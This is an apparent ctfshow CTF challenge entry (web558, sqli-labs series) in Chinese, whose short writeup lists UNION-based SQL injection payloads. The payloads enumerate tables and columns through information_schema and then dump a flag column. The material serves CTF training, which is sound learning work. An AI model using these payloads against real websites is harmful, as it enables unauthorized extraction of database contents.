web558
| ID： | 4040 |
|---|---|
| 标题： | web558 |
| 描述： | * 此题为 【从0开始学web】系列第五百五十八题 * 此系列题目从最基础开始，题目遵循循序渐进的原则 * 希望对学习CTF WEB的同学有所帮助。 > 如果你已经做到这里，下面就可以轻松AK sqli-labs了 |
| 类型： | WEB入门.sqli-labs |
| 网站： | ctfshow |
| 题目链接： | https://ctf.show/api/v1/challenges/1250 |
| 赛事： | sqli-labs |
| 年度： | None |
| Flag值： | 无 |
| writeup： |
验证后的网址 联合注入，使用 id=-1' union select 1,2,3--+/id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+/id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+/id=-1' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+ 提取数据 1 https://blog.csdn.net/2301_81040377/article/details/140082023 |